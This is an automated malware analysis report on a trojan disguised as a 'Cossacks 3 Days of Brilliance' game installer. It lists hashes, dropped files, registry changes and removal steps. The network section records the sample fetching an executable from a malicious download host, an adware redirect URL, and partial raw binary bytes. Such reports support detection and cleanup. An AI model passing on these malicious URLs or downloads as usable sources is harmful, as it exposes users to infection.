• Stay aware

    Inquietari sueti praenturis et stationibus servabantur agrariis

  • How to get the best

    Inquietari sueti praenturis et stationibus servabantur agrariis

  • Help us

    Inquietari sueti praenturis et stationibus servabantur agrariis

  • Forum

    Inquietari sueti praenturis et stationibus servabantur agrariis

Wed, 03/29/2017 - 03:13

Trojan.Win32.Swrort.3_d9aa663188

HEUR:Trojan.Win32.Generic (Kaspersky), Trojan.Win32.Swrort.3.FD, mzpefinder_pcap_file.YR (Lavasoft MAS) Behaviour: Trojan

The description has been automatically generated by Lavasoft Malware Analysis System and it may contain incomplete or inaccurate information.

Summary
Dynamic Analysis
Static Analysis
Network Activity
Map
Strings from Dumps
Removals

Summary

MD5: d9aa663188cd8a9e475fed2f68ab0c06

SHA1: c103082cbedbb1de695e1b38c008576fef920d1a

SHA256: f6abf27fd7c7112fe58e188b76c6987c477723dfc04d10f0bdccb6c365591fac

SSDeep: 49152:7C2lJmXbj5DIwbQea1LPEyK7r385JD3d6cIWhE:7zlkbFDVrQMyOr3S3d6cLhE

Size: 1860028 bytes

File type: EXE

Platform: WIN32

Entropy: Packed

PEID: UPolyXv05_v6

Company: www.GameModding.net

Created at: 2015-02-09 23:57:00

Analyzed on: Windows7 SP1 32-bit

Summary: Trojan. A program that appears to do one thing but actually does another (a.k.a. Trojan Horse).

Dynamic Analysis

Payload

No specific payload has been found.

Process activity

The Trojan creates the following process(es):

soundbar.exe:1968
%original file name%.exe:2712
irsetup.exe:3360

The Trojan injects its code into the following process(es):

CodecFixDivx.exe:4036
irsetup.exe:3576
ntvdm.exe:4008

Mutexes

The following mutexes were created/opened: No objects were found.

File activity

The process soundbar.exe:1968 makes changes in the file system.


The Trojan creates and/or writes to the following file(s):

C:\Users\"%CurrentUserName%"\AppData\Local\Temp\_ir_sf_temp_1\lua5.1.dll (329 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\_ir_sf_temp_1\irsetup.exe (50 bytes)

The Trojan deletes the following file(s):

C:\Users\"%CurrentUserName%"\AppData\Local\Temp\_ir_sf_temp_0 (0 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\_ir_sf_temp_0\irsetup.exe (0 bytes)

The process %original file name%.exe:2712 makes changes in the file system.


The Trojan creates and/or writes to the following file(s):

C:\Users\"%CurrentUserName%"\AppData\Local\Temp\_ir_sf_temp_0\lua5.1.dll (329 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\_ir_sf_temp_0\irsetup.exe (49 bytes)

The Trojan deletes the following file(s):

C:\Users\"%CurrentUserName%"\AppData\Local\Temp\_ir_sf_temp_0 (0 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\_ir_sf_temp_0\lua5.1.dll (0 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\_ir_sf_temp_0\irsetup.exe (0 bytes)

The process irsetup.exe:3576 makes changes in the file system.


The Trojan creates and/or writes to the following file(s):

C:\Users\"%CurrentUserName%"\AppData\Roaming\Microsoft\Windows\Cookies\4E33QMNK.txt (159 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\_ir_sf_temp_1\irsetup.dat (1209 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\_ir_sf_temp_1\kube.enc (16 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\wowrr.exe (3278 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\_ir_sf_temp_1\CUE.enc (10919 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\_ir_sf_temp_1\IRIMG2.JPG (29 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\_ir_sf_temp_1\fox.enc (28 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\_ir_sf_temp_1\Tlow.enc (12993 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\_ir_sf_temp_1\IRIMG1.JPG (2 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\fox.exe (56 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\_ir_sf_temp_1\lua5.1.dll (331 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\CodecFixDivx.exe (17475 bytes)

The Trojan deletes the following file(s):

C:\Users\"%CurrentUserName%"\AppData\Local\Temp\_ir_sf_temp_1\irsetup.dat (0 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\IRWA6F8.tmp (0 bytes)

The process irsetup.exe:3360 makes changes in the file system.


The Trojan creates and/or writes to the following file(s):

C:\Users\"%CurrentUserName%"\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\DCE3BDBF5BDD86E2AB5B471CB90709B4_9EDD577FDC96330CA9B09E84FD8389E3 (992 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\_ir_sf_temp_0\IRIMG1.JPG (2 bytes)
C:\Users\"%CurrentUserName%"\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\EDC238BFF48A31D55A97E1E93892934B_C31B2498754E340573F1336DE607D619 (471 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\_ir_sf_temp_0\setupfiles.txt (56 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\_ir_sf_temp_0\soundbar.exe (1598745 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\Tar4A0C.tmp (2712 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Microsoft\Windows\Cookies\OE5IAHJR.txt (70 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Microsoft\Windows\Cookies\WD9GFFDR.txt (244 bytes)
C:\Users\"%CurrentUserName%"\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\EDC238BFF48A31D55A97E1E93892934B_C20E0DA2D0F89FE526E1490F4A2EE5AB (471 bytes)
C:\Users\"%CurrentUserName%"\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\EDC238BFF48A31D55A97E1E93892934B_C20E0DA2D0F89FE526E1490F4A2EE5AB (1278 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\Cab4A0B.tmp (51 bytes)
C:\Users\"%CurrentUserName%"\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\DCE3BDBF5BDD86E2AB5B471CB90709B4_9EDD577FDC96330CA9B09E84FD8389E3 (1640 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\_ir_sf_temp_0\irsetup.dat (1209 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Microsoft\Windows\Cookies\Z0NUUBSF.txt (123 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\_ir_sf_temp_0\lua5.1.dll (331 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\_ir_sf_temp_0\IRIMG2.JPG (29 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Microsoft\Windows\Cookies\3WRS1HT3.txt (331 bytes)
C:\Users\"%CurrentUserName%"\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\EDC238BFF48A31D55A97E1E93892934B_C31B2498754E340573F1336DE607D619 (1290 bytes)

The Trojan deletes the following file(s):

C:\Users\"%CurrentUserName%"\AppData\Local\Temp\_ir_sf_temp_0\IRIMG1.JPG (0 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\_ir_sf_temp_0 (0 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\Tar4A0C.tmp (0 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Microsoft\Windows\Cookies\OE5IAHJR.txt (0 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\IRW7E65.tmp (0 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\Cab4A0B.tmp (0 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\_ir_sf_temp_0\irsetup.dat (0 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Microsoft\Windows\Cookies\Z0NUUBSF.txt (0 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\IRW20F7.tmp (0 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\_ir_sf_temp_0\IRIMG2.JPG (0 bytes)

The process ntvdm.exe:4008 makes changes in the file system.


The Trojan creates and/or writes to the following file(s):

C:\Users\"%CurrentUserName%"\AppData\Local\Temp\scsC38C.tmp (335 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\scsC38D.tmp (269 bytes)

The Trojan deletes the following file(s):

C:\Users\"%CurrentUserName%"\AppData\Local\Temp\scsC38C.tmp (0 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\scsC38D.tmp (0 bytes)

Registry activity

The process soundbar.exe:1968 makes changes in the system registry.


The Trojan creates and/or sets the following values in system registry:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"AutoDetect" = "1"
"UNCAsIntranet" = "0"

The Trojan deletes the following value(s) in system registry:

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"ProxyBypass"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"ProxyBypass"
"IntranetName"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"IntranetName"

The process %original file name%.exe:2712 makes changes in the system registry.


The Trojan creates and/or sets the following values in system registry:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"AutoDetect" = "1"
"UNCAsIntranet" = "0"

The Trojan deletes the following value(s) in system registry:

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"ProxyBypass"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"ProxyBypass"
"IntranetName"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"IntranetName"

The process irsetup.exe:3576 makes changes in the system registry.


The Trojan creates and/or sets the following values in system registry:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connections]
"SavedLegacySettings" = "46 00 00 00 3D 00 00 00 09 00 00 00 00 00 00 00"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"AutoDetect" = "1"

"UNCAsIntranet" = "0"

Proxy settings are disabled:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyEnable" = "0"

The Trojan deletes the following value(s) in system registry:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"ProxyBypass"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"ProxyBypass"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyOverride"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"IntranetName"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"IntranetName"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyServer"
"AutoConfigURL"

The process irsetup.exe:3360 makes changes in the system registry.


The Trojan creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Tracing\irsetup_RASAPI32]
"MaxFileSize" = "1048576"

[HKLM\SOFTWARE\Microsoft\Tracing\irsetup_RASMANCS]
"MaxFileSize" = "1048576"
"ConsoleTracingMask" = "4294901760"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"AutoDetect" = "1"

[HKLM\SOFTWARE\Microsoft\Tracing\irsetup_RASAPI32]
"FileDirectory" = "%windir%\tracing"
"FileTracingMask" = "4294901760"

[HKLM\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\D69B561148F01C77C54578C10926DF5B856976AD]
"Blob" = "0F 00 00 00 01 00 00 00 20 00 00 00 52 29 BA 15"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"UNCAsIntranet" = "0"

[HKCU\Software\Classes\Local Settings\MuiCache\2D\52C64B7E]
"LanguageList" = "en-US, en"

[HKLM\SOFTWARE\Microsoft\Tracing\irsetup_RASMANCS]
"FileTracingMask" = "4294901760"

[HKLM\SOFTWARE\Microsoft\Tracing\irsetup_RASAPI32]
"ConsoleTracingMask" = "4294901760"

[HKLM\SOFTWARE\Microsoft\Tracing\irsetup_RASMANCS]
"FileDirectory" = "%windir%\tracing"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connections]
"SavedLegacySettings" = "46 00 00 00 3C 00 00 00 09 00 00 00 00 00 00 00"

[HKLM\SOFTWARE\Microsoft\Tracing\irsetup_RASAPI32]
"EnableFileTracing" = "0"

[HKLM\SOFTWARE\Microsoft\Tracing\irsetup_RASMANCS]
"EnableFileTracing" = "0"
"EnableConsoleTracing" = "0"

[HKLM\SOFTWARE\Microsoft\Tracing\irsetup_RASAPI32]
"EnableConsoleTracing" = "0"

Proxy settings are disabled:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyEnable" = "0"

The Trojan deletes the following value(s) in system registry:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"ProxyBypass"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"ProxyBypass"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyOverride"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"IntranetName"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"IntranetName"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyServer"

[HKLM\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates]
"D69B561148F01C77C54578C10926DF5B856976AD"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"AutoConfigURL"

Dropped PE files

MD5 File path
6b366d709c7aaff8e1a6889a4a4683dec:\Users\"%CurrentUserName%"\AppData\Local\Temp\CodecFixDivx.exe
2c0fead6135d8bed6b71c2a804d73224c:\Users\"%CurrentUserName%"\AppData\Local\Temp\_ir_sf_temp_0\soundbar.exe
9bdcf813d65265255b820bc7a704da3cc:\Users\"%CurrentUserName%"\AppData\Local\Temp\_ir_sf_temp_1\irsetup.exe
c3f5f4a1fb69b5889f0bbb313cf6017fc:\Users\"%CurrentUserName%"\AppData\Local\Temp\_ir_sf_temp_1\lua5.1.dll
d385f55d7e943108e85b1a75c6aad5bbc:\Users\"%CurrentUserName%"\AppData\Local\Temp\fox.exe

HOSTS file anomalies

No changes have been detected.

Rootkit activity

No anomalies have been detected.

Propagation

Removals

Remove it with Ad-Aware

  1. Click (here) to download and install Ad-Aware Free Antivirus.
  2. Update the definition files.
  3. Run a full scan of your computer.

Manual removal*

  1. Terminate malicious process(es) (How to End a Process With the Task Manager):

    soundbar.exe:1968
    %original file name%.exe:2712
    irsetup.exe:3360

  2. Delete the original Trojan file.
  3. Delete or disinfect the following files created/modified by the Trojan:

    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\_ir_sf_temp_1\lua5.1.dll (329 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\_ir_sf_temp_1\irsetup.exe (50 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\_ir_sf_temp_0\lua5.1.dll (329 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\_ir_sf_temp_0\irsetup.exe (49 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Microsoft\Windows\Cookies\4E33QMNK.txt (159 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\_ir_sf_temp_1\irsetup.dat (1209 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\_ir_sf_temp_1\kube.enc (16 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\wowrr.exe (3278 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\_ir_sf_temp_1\CUE.enc (10919 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\_ir_sf_temp_1\IRIMG2.JPG (29 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\_ir_sf_temp_1\fox.enc (28 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\_ir_sf_temp_1\Tlow.enc (12993 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\_ir_sf_temp_1\IRIMG1.JPG (2 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\fox.exe (56 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\CodecFixDivx.exe (17475 bytes)
    C:\Users\"%CurrentUserName%"\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\DCE3BDBF5BDD86E2AB5B471CB90709B4_9EDD577FDC96330CA9B09E84FD8389E3 (992 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\_ir_sf_temp_0\IRIMG1.JPG (2 bytes)
    C:\Users\"%CurrentUserName%"\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\EDC238BFF48A31D55A97E1E93892934B_C31B2498754E340573F1336DE607D619 (471 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\_ir_sf_temp_0\setupfiles.txt (56 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\_ir_sf_temp_0\soundbar.exe (1598745 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\Tar4A0C.tmp (2712 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Microsoft\Windows\Cookies\OE5IAHJR.txt (70 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Microsoft\Windows\Cookies\WD9GFFDR.txt (244 bytes)
    C:\Users\"%CurrentUserName%"\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\EDC238BFF48A31D55A97E1E93892934B_C20E0DA2D0F89FE526E1490F4A2EE5AB (471 bytes)
    C:\Users\"%CurrentUserName%"\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\EDC238BFF48A31D55A97E1E93892934B_C20E0DA2D0F89FE526E1490F4A2EE5AB (1278 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\Cab4A0B.tmp (51 bytes)
    C:\Users\"%CurrentUserName%"\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\DCE3BDBF5BDD86E2AB5B471CB90709B4_9EDD577FDC96330CA9B09E84FD8389E3 (1640 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\_ir_sf_temp_0\irsetup.dat (1209 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Microsoft\Windows\Cookies\Z0NUUBSF.txt (123 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\_ir_sf_temp_0\IRIMG2.JPG (29 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Microsoft\Windows\Cookies\3WRS1HT3.txt (331 bytes)
    C:\Users\"%CurrentUserName%"\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\EDC238BFF48A31D55A97E1E93892934B_C31B2498754E340573F1336DE607D619 (1290 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\scsC38C.tmp (335 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\scsC38D.tmp (269 bytes)

  4. Clean the Temporary Internet Files folder, which may contain infected files (How to clean Temporary Internet Files folder).
  5. Reboot the computer.
*Manual removal may cause unexpected system behaviour and should be performed at your own risk.

Static Analysis

VersionInfo

Company Name:
Product Name: Cossacks 3 Days of Brilliance
Product Version:
Legal Copyright:
Legal Trademarks:
Original Filename:
Internal Name:
File Version:
File Description: Cossacks 3 Days of Brilliance Setup
Comments: This installation was built with Inno Setup.
Language: English (United States)

Company Name: Product Name: Cossacks 3 Days of Brilliance Product Version: Legal Copyright: Legal Trademarks: Original Filename: Internal Name: File Version: File Description: Cossacks 3 Days of Brilliance Setup Comments: This installation was built with Inno Setup. Language: English (United States)

PE Sections

Name Virtual Address Virtual Size Raw Size Entropy Section MD5
.text409622296225284.47735c76b9ce587690b8a39ba7840b7dd540c
.rdata2867211906122883.44864e96aa4f970e6f6799910a72904df3100
.data40960650430721.79291e504fdbba062ee9bbd9ac425a4f5c0f5
.rsrc4915256865573443.273958f63231e2d309f48d668ddb96230ce2d
.reloc106496424246082.5731a88bdb6f651ecf67b1b3db4a2866ea4e

Dropped from:

Downloaded by:

Similar by SSDeep:

Similar by Lavasoft Polymorphic Checker:


Total found: 1
ba563f324b10baf002b20ebdb074297f

Network Activity

URLs

URL IP
hxxp://cs9.wac.phicdn.net/MFEwTzBNMEswSTAJBgUrDgMCGgUABBTfqhLjKLEJQZPin0KCzkdAQpVYowQUsT7DaQP4v0cB1JgmGggC72NkK8MCEAx5qUSwjBGVIJJhX+JrHYM=
hxxp://cs9.wac.phicdn.net/MFEwTzBNMEswSTAJBgUrDgMCGgUABBTfqhLjKLEJQZPin0KCzkdAQpVYowQUsT7DaQP4v0cB1JgmGggC72NkK8MCEATh56TcXPLzbcArQrhdFZ8=
hxxp://cs9.wac.phicdn.net/MFEwTzBNMEswSTAJBgUrDgMCGgUABBTPJvUY+sl+j4yzQuAcL2oQno5fCgQUUWj/kK8CB3U8zNllZGKiErhZcjsCEA9N5D4ZnViCc5eMbrXeuZM=
hxxp://xviddownload.faith/Tlo.exe163.172.214.51
hxxp://alfafile.net/file/UkjZ195.211.221.157
hxxp://hoh.shcottiergrati.bid/h_redir.php?offer_id=4&aff_id=2091&source=1918&aff_sub=TarDrop2&aff_sub2=&aff_sub3=&aff_sub4=LP_DEF&aff_sub5=1321202051&url=http://hoh.shcottiergrati.bid/offer.php?affId={aff_id}&trackingId=208951787&instId=1918&ho_trackingid={transaction_id}&cc={country_code}&cc_typ=ho&sb=x86&net=4.5.50709&ie=9.0.8112.16421&wv=7sp1&db=InternetExplorer&uac=1&cid=5c12d1104cca24294ae7d8d45ce8d028&v=352.222.149.207
hxxp://a1363.dscg.akamai.net/pki/crl/products/MicCodSigPCA_08-31-2010.crl
hxxp://a1158.b.akamai.net/MFUwUzBRME8wTTAJBgUrDgMCGgUABBTkLVLomfJQOu5CFIgPOR73ljBRHAQU+L36r3N3xscb+UtNEafRM6+vchECFEOZrYpYgDwxeWGj/HetMtWiXvU/
hxxp://clients.l.google.com/ocsp/MEkwRzBFMEMwQTAJBgUrDgMCGgUABBTy4Gr5hYodjXCbSRkjeqm1Gih+ZAQUSt0GFhu89mi1dvWBtrtiGrpagS8CCGZimYWX7CS+
hxxp://ocsp.digicert.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBTfqhLjKLEJQZPin0KCzkdAQpVYowQUsT7DaQP4v0cB1JgmGggC72NkK8MCEAx5qUSwjBGVIJJhX+JrHYM=93.184.220.29
hxxp://crl.microsoft.com/pki/crl/products/MicCodSigPCA_08-31-2010.crl178.18.231.91
hxxp://ocsp.digicert.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBTPJvUY+sl+j4yzQuAcL2oQno5fCgQUUWj/kK8CB3U8zNllZGKiErhZcjsCEA9N5D4ZnViCc5eMbrXeuZM=93.184.220.29
hxxp://vassg142.ocsp.omniroot.com/MFUwUzBRME8wTTAJBgUrDgMCGgUABBTkLVLomfJQOu5CFIgPOR73ljBRHAQU+L36r3N3xscb+UtNEafRM6+vchECFEOZrYpYgDwxeWGj/HetMtWiXvU/2.21.89.35
hxxp://hoh.shcottiergrati.bidhxxp://hoh.shcottiergrati.bid/h_redir.php?offer_id=4&aff_id=2091&source=1918&aff_sub=TarDrop2&aff_sub2=&aff_sub3=&aff_sub4=LP_DEF&aff_sub5=1321202051&url=http://hoh.shcottiergrati.bid/offer.php?affId={aff_id}&trackingId=208951787&instId=1918&ho_trackingid={transaction_id}&cc={country_code}&cc_typ=ho&sb=x86&net=4.5.50709&ie=9.0.8112.16421&wv=7sp1&db=InternetExplorer&uac=1&cid=5c12d1104cca24294ae7d8d45ce8d028&v=352.222.149.207
hxxp://clients1.google.com/ocsp/MEkwRzBFMEMwQTAJBgUrDgMCGgUABBTy4Gr5hYodjXCbSRkjeqm1Gih+ZAQUSt0GFhu89mi1dvWBtrtiGrpagS8CCGZimYWX7CS+172.217.20.174
hxxp://ocsp.digicert.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBTfqhLjKLEJQZPin0KCzkdAQpVYowQUsT7DaQP4v0cB1JgmGggC72NkK8MCEATh56TcXPLzbcArQrhdFZ8=93.184.220.29
www.dropbox.com162.125.66.1
dl.dropboxusercontent.com162.125.66.6

IDS verdicts (Suricata alerts: Emerging Threats ET ruleset)

Traffic

GET /Tlo.exe HTTP/1.1

Accept: */*

Content-Type: application/x-www-form-urlencoded

User-Agent: Setup Factory 8.0

Host: xviddownload.faith

Connection: Keep-Alive

Cache-Control: no-cache

HTTP/1.1 200 OK

Server: nginx

Date: Tue, 28 Mar 2017 08:54:33 GMT

Content-Type: application/x-msdos-program

Content-Length: 3491564

Last-Modified: Mon, 27 Mar 2017 10:08:48 GMT

Connection: keep-alive

ETag: "58d8e4b0-3546ec"

X-Powered-By: PleskLin

Accept-Ranges: bytes

[email protected]........!..L.!This program cannot be run in DOS mode....$.........2...\...\...\..'....\..'....\.......\...]...\..'....\..'....\..'....\.Rich..\.........PE..L...,-.T.................X...........)[email protected]@.................................<...d........n...................0......................[email protected].text....W.......X.................. ..`.rdata.......p...0...\[email protected]@[email protected][email protected]@[email protected]................................................................................................................................................................................................................................................................................................................................................U...X......... [email protected]}[email protected]@[email protected]`[email protected];.}[email protected][email protected]@[email protected]/ub......<Tt"<Wt.<tt.<wuL......P.....u>.......6......P.....~(......:[email protected]@[email protected];[email protected]@[email protected]_..^3.[[email protected]<[email protected]

<<< skipped >>>

GET /ocsp/MEkwRzBFMEMwQTAJBgUrDgMCGgUABBTy4Gr5hYodjXCbSRkjeqm1Gih+ZAQUSt0GFhu89mi1dvWBtrtiGrpagS8CCGZimYWX7CS+ HTTP/1.1

Cache-Control: max-age = 345600

Connection: Keep-Alive

Accept: */*

User-Agent: Microsoft-CryptoAPI/6.1

Host: clients1.google.com

HTTP/1.1 200 OK

Content-Type: application/ocsp-response

GET hXXp://hoh.shcottiergrati.bid/h_redir.php?offer_id=4&aff_id=2091&source=1918&aff_sub=TarDrop2&aff_sub2=&aff_sub3=&aff_sub4=LP_DEF&aff_sub5=1321202051&url=http://hoh.shcottiergrati.bid/offer.php?affId={aff_id}&trackingId=208951787&instId=1918&ho_trackingid={transaction_id}&cc={country_code}&cc_typ=ho&sb=x86&net=4.5.50709&ie=9.0.8112.16421&wv=7sp1&db=InternetExplorer&uac=1&cid=5c12d1104cca24294ae7d8d45ce8d028&v=3 HTTP/1.1

Host: hoh.shcottiergrati.bid

Connection: close

Accept: */*

User-Agent: InstallCapital

HTTP/1.1 200 OK

Content-Type: text/html

Content-Length: 0

Connection: close

Server: Microsoft-IIS/8.5

X-Powered-By: PHP/5.3.28

Date: Tue, 28 Mar 2017 08:54:08 GMT

X-Cache: Miss from cloudfront

Via: 1.1 65715c6e447bfc4ebcfb81f088c7e3f3.cloudfront.net (CloudFront)

X-Amz-Cf-Id: QhEBAlcmkPHeaeLz56gtP9iQjOIS6x-BV7f6MdcB3PNklQ09KilX-Q==

GET /MFEwTzBNMEswSTAJBgUrDgMCGgUABBTfqhLjKLEJQZPin0KCzkdAQpVYowQUsT7DaQP4v0cB1JgmGggC72NkK8MCEAx5qUSwjBGVIJJhX+JrHYM= HTTP/1.1

Cache-Control: max-age = 517590

Connection: Keep-Alive

Accept: */*

If-Modified-Since: Thu, 13 Oct 2016 06:25:50 GMT

If-None-Match: "57ff28ee-1d7"

User-Agent: Microsoft-CryptoAPI/6.1

Host: ocsp.digicert.com

HTTP/1.1 200 OK

Accept-Ranges: bytes

Cache-Control: public, max-age=172800

Content-Type: application/ocsp-response

Date: Tue, 28 Mar 2017 08:54:16 GMT

Etag: "58d9a8a1-1d7"

Expires: Mon, 03 Apr 2017 20:54:16 GMT

Last-Modified: Tue, 28 Mar 2017 00:04:49 GMT

Server: ECS (fcn/41D2)

X-Cache: HIT

Content-Length: 471

0..........0..... .....0......0...0.......>.i...G...&....cd ...20170327220000Z0s0q0I0... ............([email protected]>.i...G...&....cd ....y.D.... .a_.k......20170327220000Z....20170403220000Z0...*.H............._.%...6.2..KS...ix.x8....DH9...47..n..;.V."..m....~..aR]...........>...k..f.,...vj[Q.`n....=..!...Q......X..K...c........X$..:.O.%o..1.QA.(..zQ.nB..IV.J.....7t.%~T..W...u...\u.m..0]..Z .^M...k.9......s.=..........0]..3I..i. ....[.......1.rQp...Gt4....A..O.HTTP/1.1 200 OK..Accept-Ranges: bytes..Cache-Control: public, max-age=172800..Content-Type: application/ocsp-response..Date: Tue, 28 Mar 2017 08:54:16 GMT..Etag: "58d9a8a1-1d7"..Expires: Mon, 03 Apr 2017 20:54:16 GMT..Last-Modified: Tue, 28 Mar 2017 00:04:49 GMT..Server: ECS (fcn/41D2)..X-Cache: HIT..Content-Length: 471..0..........0..... .....0......0...0.......>.i...G...&....cd ...20170327220000Z0s0q0I0... ............([email protected]>.i...G...&....cd ....y.D.... .a_.k......20170327220000Z....20170403220000Z0...*.H............._.%...6.2..KS...ix.x8....DH9...47..n..;.V."..m....~..aR]...........>...k..f.,...vj[Q.`n....=..!...Q......X..K...c........X$..:.O.%o..1.QA.(..zQ.nB..IV.J.....7t.%~T..W...u...\u.m..0]..Z .^M...k.9......s.=..........0]..3I..i. 